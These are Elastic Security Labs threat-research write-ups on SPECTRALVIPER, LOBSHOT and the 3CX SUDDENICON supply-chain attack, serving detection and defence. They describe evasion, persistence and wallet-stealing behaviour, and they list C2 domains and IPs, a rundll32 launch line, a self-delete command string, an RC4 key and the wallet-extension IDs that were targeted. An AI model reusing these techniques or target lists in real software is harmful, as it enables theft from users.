These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( \.\pipe\ydZb0bIrT ).

This activity appears to be a handoff of access or swapping out of one tool for another.

If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our previous research and stay tuned, more to come.

Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.

Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.

| Domain: | Created: | | -------------------------------- | ---------- | | stablewindowsapp[.]com | 2022-02-10 | | webmanufacturers[.]com | 2022-06-10 | | toppaperservices[.]com | 2022-12-15 | | hosting-wordpress-services[.]com | 2023-03-15 | | appointmentmedia[.]com | 2023-04-26 |

GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of appointmentmedia[.]com, this campaign could still be ongoing with new domains being registered for future intrusions.

Campaign associations

Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.

As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.

The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister approved the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.

In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.

A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.

Diamond model

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Detection logic

Preventions

All of the malware discussed in this research publication have protections included in Elastic Defend.

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER

rule Windows_Trojan_SpectralViper_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-04-13"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SpectralViper"
        threat_name = "Windows.Trojan.SpectralViper"
        reference_sample = "7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb"
       license = "Elastic License v2"

    strings:
        $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
        $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
        $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
        $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
        $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
        $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
    condition:
        5 of them
}

rule Windows_Trojan_SpectralViper_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-05-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SpectralViper"
        threat_name = "Windows.Trojan.SpectralViper"
        reference_sample = "d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8"
       license = "Elastic License v2"

    strings:
        $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
        $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
        $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
        $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
        $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
        $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
    condition:
        2 of ($a*) or any of ($s*)
}

rule Windows_Trojan_PowerSeal_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-03-16"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PowerSeal"
        threat_name = "Windows.Trojan.PowerSeal"
        license = "Elastic License v2"

    strings:
        $a1 = "PowerSeal.dll" wide fullword
        $a2 = "InvokePs" ascii fullword
        $a3 = "amsiInitFailed" wide fullword
        $a4 = "is64BitOperatingSystem" ascii fullword
    condition:
        all of them
}

rule Windows_Trojan_PowerSeal_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-05-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PowerSeal"
        threat_name = "Windows.Trojan.PowerSeal"
        license = "Elastic License v2"

    strings:
        $a1 = "[+] Loading PowerSeal"
        $a2 = "[!] Failed to exec PowerSeal"
        $a3 = "AppDomain: unable to get the name!"
    condition:
        2 of them
}

rule Windows_Trojan_P8Loader {
    meta:
        author = "Elastic Security"
        creation_date = "2023-04-13"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "P8Loader"
        threat_name = "Windows.Trojan.P8Loader"
        license = "Elastic License v2"

    strings:
        $a1 = "\t[+] Create pipe direct std success\n" fullword
        $a2 = "\tPEAddress: %p\n" fullword
        $a3 = "\tPESize: %ld\n" fullword
        $a4 = "DynamicLoad(%s, %s) %d\n" fullword
        $a5 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
        $a6 = "\t[+] No PE loaded on memory\n" wide fullword
        $a7 = "\t[+] PE argument: %ws\n" wide fullword
        $a8 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
    condition:
        5 of them
}

References

The following were referenced throughout the above research:

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | ---------------------------------------------------------------- | ------- | ----------------------------------------- | ------------------------------------ | | 56d2d05988b6c23232b013b38c49b7a9143c6649d81321e542d19ae46f4a4204 | SHA-256 | - | SPECTRALVIPER Related to 1.dll below | | d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8 | SHA-256 | 1.dll | SPECTRALVIPER | | 7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb | SHA-256 | asdgb.exe | SPECTRALVIPER | | 4e3a88cf00e0b4718e7317a37297a185ff35003192e5832f5cf3020c4fc45966 | SHA-256 | Settings.db | SPECTRALVIPER | | 7b5e56443812eed76a94077763c46949d1e49cd7de79cde029f1984e0d970644 | SHA-256 | Microsoft.MicrosoftEdge_8wekyb3d8bbwe.pkg | SPECTRALVIPER | | 5191fe222010ba7eb589e2ff8771c3a75ea7c7ffc00f0ba3f7d716f12010dd96 | SHA-256 | UpdateConfig.json | SPECTRALVIPER | | 4775fc861bc2685ff5ca43535ec346495549a69891f2bf45b1fcd85a0c1f57f7 | SHA-256 | Microsoft.OneDriveUpdatePackage.mca | SPECTRALVIPER | | 2482c7ececb23225e090af08feabc8dec8d23fe993306cb1a1f84142b051b621 | SHA-256 | ms-certificates.sst | SPECTRALVIPER | | stablewindowsapp[.]com | Domain | n/a | C2 | | webmanufacturers[.]com | Domain | n/a | C2 | | toppaperservices[.]com | Domain | n/a | C2 | | hosting-wordpress-services[.]com | Domain | n/a | C2 | | appointmentmedia[.]com | Domain | n/a | C2 |

Elastic Security Labs discovers the LOBSHOT malware

Daniel Stepanic — Tue, 16 May 2023 00:00:00 GMT

Key takeaways

Adversaries continue to abuse and increase reach through malvertising such as Google Ads by impersonating legitimate software
Elastic Security Labs is shedding light on an undiscovered hVNC malware that has been quietly collecting a large install base
This malware we are calling LOBSHOT appears to be leveraged for financial purposes employing banking trojan and info-stealing capabilities

Preamble

Elastic Security Labs along with the research community noticed a large spike in the adoption of malvertising earlier this year. Attackers promoted their malware using an elaborate scheme of fake websites through Google Ads and embedding backdoors in what appears to users as legitimate installers. In this post, we will highlight one malware family we observed from this spike we’re calling LOBSHOT. LOBSHOT continues to collect victims while staying under the radar.

One of LOBSHOT’s core capabilities is around its hVNC (Hidden Virtual Network Computing) component. These kinds of modules allow for direct and unobserved access to the machine. This feature continues to be successful in bypassing fraud detection systems and is often baked into many popular families as plugins.

We will walk through the LOBSHOT infection chain and its behaviors. Additionally, we will provide a YARA signature and configuration extractor for this family.

Throughout our analysis, we observed infrastructure known to belong to TA505. TA505 is a well-known cybercrime group associated with Dridex, Locky, and Necurs campaigns. A loader documented by Proofpoint, known as Get2, has also been tied to the same domains in the past that we observed with LOBSHOT. We assess with moderate confidence that LOBSHOT is a new malware capability leveraged by TA505 starting in 2022.

Campaign context

Earlier this year, Elastic Security Labs observed multiple infections with an interesting chain of events that resulted in the execution of an unknown hVNC malware, which we are calling LOBSHOT. Around this same time, similar infection chains were observed in the security community with commonalities of users searching for legitimate software downloads that ended up getting served illegitimate software from promoted ads from Google [1, 2, 3, 4].

In one example, the malicious ad was for a legitimate remote desktop solution, AnyDesk. Careful examination of the URL goes to https://www.amydecke[.]website instead of the legitimate AnyDesk URL, https://www.anydesk[.]com.

The landing pages were very convincing with similar branding as the legitimate software and included Download Now buttons that pointed to an MSI installer.

Thanks to security researcher Will Dormann, we were able to view the screenshots from the AnyDesk campaign.

At the time of publication, we haven’t seen any previous public information about LOBSHOT, so we will focus our research on LOBSHOT’s functionality and capabilities.

LOBSHOT code analysis

To focus on the LOBSHOT malware, we will skip the initial infection chain. For these initial details, here is a good sandbox report to look over for general TTPs. We have observed over 500 unique LOBSHOT samples since last July. The samples we have observed are compiled as 32-bit DLLs or 32-bit executables typically ranging around 93 KB to 124 KB. Consider the following sample representative of LOBSHOT for purposes of this analysis.

Dynamic API resolution

In our LOBSHOT sample, like most malware we see today, it employs dynamic import resolution to evade security products and slow down the rapid identification of its capabilities. This process involves resolving the names of the Windows APIs that the malware needs at runtime as opposed to placing the imports into the program ahead of time.

Defender emulation check

After the initial libraries are loaded, LOBSHOT performs a Windows Defender anti-emulation check by verifying if the computer name matches the string HAL9TH and if the username matches JohnDoe. These are hard-coded values within the emulation layer of Defender, if they are present, the malware immediately stops running. This kind of verification has been incorporated in many other stealers including Arkei, Vidar, and Oski. Below is the emulation output using the Qiling framework highlighting these verification checks.

String obfuscation

This malware hides its primary strings through a straightforward encryption function using different bitwise operators. To perform the string decryption, LOBSHOT uses an initial seed from the WTS_SESSION_INFO structure from a call to WTSEnumerateSessionsA.

In this case, the malware developer sets up the initial seed by performing an XOR on the SessionID (always a 0 ) and the S char from “Services”.

Initial enumeration

Before sending any outbound network requests, LOBSHOT builds a custom structure containing enumerated data from the machine including:

GUID of machine derived from SOFTWARE\Microsoft\Cryptography\MachineGuid
Windows edition, username, computer name
A VM check, number of processes running, process ID, parent process of malware
Windows desktop object details
Screen height/width
Display device information
Handles to the desktop objects and windows
DPI for the display(s)

Execution flow

After LOBSHOT is executed, it moves a copy of itself to the C:\ProgramData folder, spawning a new process using explorer.exe , terminating the original process, and finally deleting the original file. This design choice is used in an attempt to break the process tree ancestry; making it harder to spot for analysts.

Below is a screenshot after the initial execution, the malware is now parentless and running from the C:\ProgramData directory.

Persistence

For persistence, LOBSHOT leverages the Registry run key persistence method. In our sample, this is placed in the HKEY_CURRENT_USER Registry hive with a randomly generated name pointing to the malware located in C:\ProgramData.

In addition, it sets Registry key data under the Software\Microsoft\Windows NT\CurrentVersion\Devices key path which is used to check for a hardcoded global identifier key that would indicate the system had already been infected. In our sample, the Display value is set to the string 134a1160. The results from the stealer feature are recorded inside the Default Printer value. We'll discuss the stealer functionality in the next section.

Stealer functionality

With the persistence mechanism established, LOBSHOT starts a new thread kicking off the stealer functionality. It starts by targeting specific Google Chrome extensions that deal with cryptocurrency wallets. Below are Procmon outputs showing LOBSHOT trying to access 32 Chrome wallet extensions, nine Edge wallet extensions, and 11 Firefox wallet extensions.

For the complete listing of the different cryptocurrencies mapped to their extension IDs, see the appendix.

If there is a match with any of these extensions, the results are inserted in the Software\Microsoft\Windows NT\CurrentVersion\Devices Registry key value as binary data with the format of browser name_extension name. Below is an example after the registry modification showing: Chrome_Yoroi.

After the browser extensions are enumerated, there is a check for a hardcoded file titled hmr_*.dat inside the C:\ProgramData directory. If this file exists it will be executed with rundll32.exe with the following command-line arguments:

rundll32.exe "C:\ProgramData\hmr_1.dat", #1 hmod

While we didn’t observe this behavior directly, this function appears to show off a feature baked in by the developer allowing the ability for additional execution options such as loading their own DLL.

Network communications

For each LOBSHOT sample we have reviewed, there is a hardcoded IP and port that is decrypted from the binary that is used as the primary C2. The malware beacons every 5 seconds communicating by using the following calls:

ws2_32.socket
ws2_32.connect
ws2_32.send
ws2_32.select
ws2_32.recv
ws2_32.shutdown
ws2_32.closesocket

On these outbound requests, it sends pseudorandom hard-coded data along with a shortened GUID value and version number of the module.

Below is an example of the send request buffer sent during the initial outbound requests showing the above-hardcoded values and version number.

Searching for the above mov instruction paired with the first DWORD of the hardcoded value ( C7 06 25 56 0A DC ) shows over 550 samples in VirusTotal within the last year. With some of the first samples showing up in late July 2022. The prevalence of these hardcoded values shows that it has been actively used and under development for a long period of time, and will likely continue to be used in the future.

After this initial handshake, LOBSHOT will send the previous custom data structure containing the enumerated data such as the hostname, username, windows objects, etc. over this port.

Capabilities

One of LOBSHOT’s core capabilities is around its hVNC (Hidden Virtual Network Computing) module.

Unlike traditional VNC (Virtual Network Computing) where the software provides remote access to a machine with the user’s consent and the visibility of the actions taken on the machine can be clearly observed. hVNC acts in the opposite way designed to stay stealthy where all actions by an attacker are taking place on the same machine, but can’t be visibly observed by the victim. hVNC became a popular solution within the banking trojan space to bypass device and fraud detection solutions. More details on hVNC can be found here.

LOBSHOT implements the hVNC feature by generating a hidden desktop using the CreateDesktopW Windows API and then assigning the desktop to the malware using the SetThreadDesktop API . A new Windows explorer.exe process is then created under the context of the new hidden desktop.

At this stage, the victim machine will start sending screen captures that represent the hidden desktop that is sent to a listening client controlled by the attacker. The attacker interacts with the client by controlling the keyboard, clicking buttons, and moving the mouse, these capabilities provide the attacker full remote control of the device.

Within LOBSHOT’s hVNC module, there is a built-in GUI menu that allows the attacker to run the following commands quickly:

Start new explorer.exe process
Start Windows Run command
Start new Windows process with provided command
Start Browsers (Internet Explorer, Edge, Firefox)
Terminate existing explorer.exe processes and start new explorer.exe process
Tamper with Windows sound settings
Set/retrieve Clipboard text
Activate Start Menu
Modify DPI Awareness settings

While the main functionality is centered on LOBSHOT’s hVNC module, it does have additional capabilities. One example is its ability to swap out its C2 provided by an operator; it manages this by writing the new C2 details into the registry key path Software\Microsoft\Windows NT\CurrentVersion\Devices under the Video value.

LOBSHOT also includes an update mechanism where it will remove previous modifications to the registry such as removing the “Display” value and Run key persistence, starting a new process, and finally exiting the existing process.

LOBSHOT configuration extractor

Elastic Security Labs has released an open source tool, under the Elastic 2.0 license, that will allow for configurations to be extracted from LOBSHOT samples. The tool can be downloaded here.

The extractor can run at the individual file or directory level, examples are below:

python lobshot_config_extractor.py --file sample.bin
python lobshot_config_extractor.py --directory samples

Summary

Threat groups are continuing to leverage malvertising techniques to masquerade legitimate software with backdoors like LOBSHOT. These kinds of malware seem small, but end up packing significant functionality which helps threat actors move quickly during the initial access stages with fully interactive remote control capabilities. We are continuing to see new samples related to this family each week, and expect it to be around for some time.

Detection logic

Prevention

Detection

EQL query

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar

The following EQL query can be used to detect suspicious grandparent, parent, child relationships observed with LOBSHOT.

sequence by host.id, user.id with maxspan=1m
 [process where event.type == "start" and not startsWith~(process.executable, process.parent.executable)] by process.parent.name, process.entity\_id
 [file where event.type == "deletion"] by file.name, process.entity\_id
 [process where event.type == "start" and not startsWith~(process.executable, process.parent.executable)] by process.name, process.parent.entity\_id
until [process where event.type == "end"] by process.name, process.entity\_id

YARA rule

rule Windows_Trojan_Lobshot {
    meta:
        author = "Elastic Security"
        creation_date = "2023-04-18"
        last_modified = "2023-04-18"
        license = "Elastic License v2"
        os = "Windows"
        threat_name = "Windows.Trojan.Lobshot"
        reference_sample = "e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6"
    strings:
        $str0 = "HVNC Remote Control" ascii fullword
        $str1 = " Error # %d - %08lx" ascii fullword
        $str2 = "Set  clipboard text failed." ascii fullword
        $str3 = "OK %08lx %08lx %d" ascii fullword
        $str4 = "\") & (rundll32.exe \"" wide fullword
        $str5 = "%LOCALAPPDATA%\\svc.db" wide fullword
        $str6 = "cmd.exe /c (ping -n 10 127.0.0.1) & (del /F /Q \"" wide fullword
        $seq_str_decrypt = { 8A 5A ?? 8D 52 ?? 80 EB ?? 85 FF 74 ?? C0 E0 ?? 2C ?? 0A C3 32 C1 32 C7 88 06 32 E8 83 C6 ?? 83 C5 ?? EB ?? }
        $seq_emu_check = { 8B 35 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? C7 44 24 ?? 48 41 4C 39 50 C7 44 24 ?? 54 48 00 00 FF D6 }
        $seq_enum_xor = { FF 15 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? 00 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 68 07 80 00 00 8B 41 ?? 8A 00 32 01 A2 ?? ?? ?? ?? }
        $seq_create_guid = { 8D 48 ?? 80 F9 ?? 77 ?? 2C ?? C1 E2 ?? 46 0F B6 C8 0B D1 83 FE ?? 7C ?? 5F 8B C2 5E C3 }
    condition:
        2 of ($seq*) or 5 of ($str*)
}

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Observations

All observables are also available for download in both ECS and STIX format. Additionally, we have created a VirusTotal Collection with all indicators.

| Indicator | Type | Reference | | ---------------------------------------------------------------- | ---------- | ---------- | | 95.217.125.200 | IP Address | LOBSHOT C2 | | e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6 | SHA-256 | LOBSHOT |

References

The following were referenced throughout the above research:

Appendix

Chrome wallet extensions

| Wallet name | Extension ID | | ---------------------- | -------------------------------- | | Yoroi | ffnbelfdoeiohenkjibnmadjiehjhajb | | TronLink | ibnejdfjmmkpcnlpebklmnkoeoihofec | | Nifty Wallet | jbdaocneiiinmjbjlgalhcelgbejmnid | | MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn | | Math Wallet | afbcbjpbpfadlkmhmclhkeeodmamcflc | | Coinbase Wallet | hnfanknocfeofbddgcijnmhnfnkdnaad | | Binance Wallet | fhbohimaelbohpjbbldcngcnapndodjp | | Brave Wallet | odbfpeeihdkbihmopkbjmoonfanlbfcl | | Guarda | hpglfhgfnhbgpjdenjgmdgoeiappafln | | Equal Wallet | blnieiiffboillknjnepogjhkgnoapac | | Jaxx Liberty | cjelfplplebdjjenllpjcblmjkfcffne | | BitApp Wallet | fihkakfobkmkjojpchpfgcmhfjnmnfpi | | iWallet | kncchdigobghenbbaddojjnnaogfppfj | | Wombat | amkmjjmmflddogmhpjloimipbofnfjih | | Oxygen | fhilaheimglignddkjgofkcbgekhenbh | | MyEtherWallet | nlbmnnijcnlegkjjpcfjclmcfggfefdm | | GuildWallet | nanjmdknhkinifnkgdcggcfnhdaammmj | | Saturn Wallet | nkddgncdjgjfcddamfgcmfnlhccnimig | | Ronin Wallet | fnjhmkhhmkbjkkabndcnnogagogbneec | | Station Wallet | aiifbnbfobpmeekipheeijimdpnlpgpp | | Harmony | fnnegphlobjdpkhecapkijjdkgcjhkib | | Coin98 Wallet | aeachknmefphepccionboohckonoeemg | | EVER Wallet | cgeeodpfagjceefieflmdfphplkenlfk | | KardiaChain Wallet | pdadjkfkgcafgbceimcpbkalnfnepbnk | | Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa | | Pali Wallet | mgffkfbidihjpoaomajlbgchddlicgpn | | BOLT X | aodkkagnadcbobfpggfnjeongemjbjca | | Liquality Wallet | kpfopkelmapcoipemfendmdcghnegimn | | XDEFI Wallet | hmeobnfnfcmdkdcmlblgagmfpfboieaf | | Nami | lpfcbjknijpeeillifnkikgncikgfhdo | | MultiversX DeFi Wallet | dngmlblcodfobpdpecaadgfbcggfjfnm |

Edge wallet extensions

| Wallet name | Extension ID | | -------------- | -------------------------------- | | Yoroi | akoiaibnepcedcplijmiamnaigbepmcb | | MetaMask | ejbalbakoplchlghecdalmeeeajnimhm | | Math Wallet | dfeccadlilpndjjohbjdblepmjeahlmm | | Ronin Wallet | kjmoohlgokccodicjjfebfomlbljgfhk | | Station Wallet | ajkhoeiiokighlmdnlakpjfoobnjinie | | BDLT Wallet | fplfipmamcjaknpgnipjeaeeidnjooao | | Glow | niihfokdlimbddhfmngnplgfcgpmlido | | OneKey | obffkkagpmohennipjokmpllocnlndac | | MetaWallet | kfocnlddfahihoalinnfbnfmopjokmhl |

Firefox wallet extensions

| Wallet name | Extension ID | | ------------ | -------------------------------------------- | | Yoroi | {530f7c6c-6077-4703-8f71-cb368c663e35}.xpi | | Ronin Wallet | ronin-wallet@axieinfinity.com.xpi | | MetaMask | webextension@metamask.io.xpi | | TronLink | {5799d9b6-8343-4c26-9ab6-5d2ad39884ce}.xpi | | | {aa812bee-9e92-48ba-9570-5faf0cfe2578}.xpi | | | {59ea5f29-6ea9-40b5-83cd-937249b001e1}.xpi | | | {d8ddfc2a-97d9-4c60-8b53-5edd299b6674}.xpi | | Phantom | {7c42eea1-b3e4-4be4-a56f-82a5852b12dc}.xpi | | | {b3e96b5f-b5bf-8b48-846b-52f430365e80}.xpi | | | {eb1fb57b-ca3d-4624-a841-728fdb28455f}.xpi | | | {76596e30-ecdb-477a-91fd-c08f2018df1a}.xpi |

Elastic users protected from SUDDENICON’s supply chain attack

Daniel Stepanic,Remco Sprooten,Joe Desimone,Samir Bousseaden,Devon Kerr — Fri, 05 May 2023 00:00:00 GMT

Key takeaways

Elastic users are protected from supply chain attacks targeting the 3CX users
How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams
Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists

Preamble

On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users as detailed in a Reddit post. Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 as reported by Todyl.

3CX states it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.

In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware

SUDDENICON triage analysis

The 3CXDesktopApp installer MSI appears to contain malicious code which waits seven days post-installation before downloading additional files from GitHub and communicating with malicious command-and-control domains. The client application writes ffmpeg.dll and d3dcompiler\_47.dll to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that ffmpeg.dll and d3dcompiler\_47.dll are both legitimate file names and rules should not be created on them alone.

The ffmpeg.dll binary extracts SUDDENICON from d3dcompiler\_47.dll by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (3jB(2bsG#@c7). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been associated with DPRK. Upon successfully executing, this shellcode stub writes a new file ( manifest ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.

C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the IconStorages Github repository (this repository has been removed by Github). This repo was created by GitHub ID 120072117 on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.

Initial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.

The CEO of 3CX has recommended uninstalling the software; a small number of community forum posts outline how security tooling is reacting to potential malware behaviors, and CrowdStrike and SentinelOne have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.

Detection logic

Prevention

Memory Threat Detection Alert: Shellcode injection
Windows.Trojan.SuddenIcon

Hunting queries

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

KQL queries

The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:

process.name : "3CXDesktopApp.exe" and dns.question.name : "raw.githubusercontent.com"

The following KQL query can be used to identify several host-based indicators of this activity:

dll.hash.sha256 : "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896" or dll.hash.sha256 : "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.

The following EQL query can be used to profile 3CX software and child software:

any where process.code_signature.subject_name == "3CX Ltd" or process.parent.code_signature.subject_name == "3CX Ltd"

The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:

network where process.code_signature.subject_name == "3CX Ltd" and dns.question.name == “raw.githubusercontent.com”

The following EQL query can be used to identify files written by the 3CXDesktopApp client:

file where event.type == "creation" and (host.os.type == "windows" and file.path : "*:\\Users\\*\\AppData\\Local\\Programs\\C3XDesktopApp\\app\\*" and file.name : ("manifest")) or (host.os.type == "macos" and file.path : "*/Library/Application Support/3CX Desktop App/" and file.name : ("UpdateAgent", ".main_storage", ".session-lock")

The following EQL query can be used to identify several host-based indicators of this activity:

sequence by host.name, process.entity_id[process where process.code_signature.subject_name:"3CX Ltd"][library where dll.hash.sha256:"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02","7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"][network where dns.question.name:"raw.githubusercontent.com"]

The following EQL query can be used to identify this activity if the DLL is updated:

library where process.code_signature.subject_name : "3CX Ltd" and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))

YARA

Elastic Security Labs has released two YARA signatures for the malicious shellcode, which we refer to as SUDDENICON.

Defensive recommendations

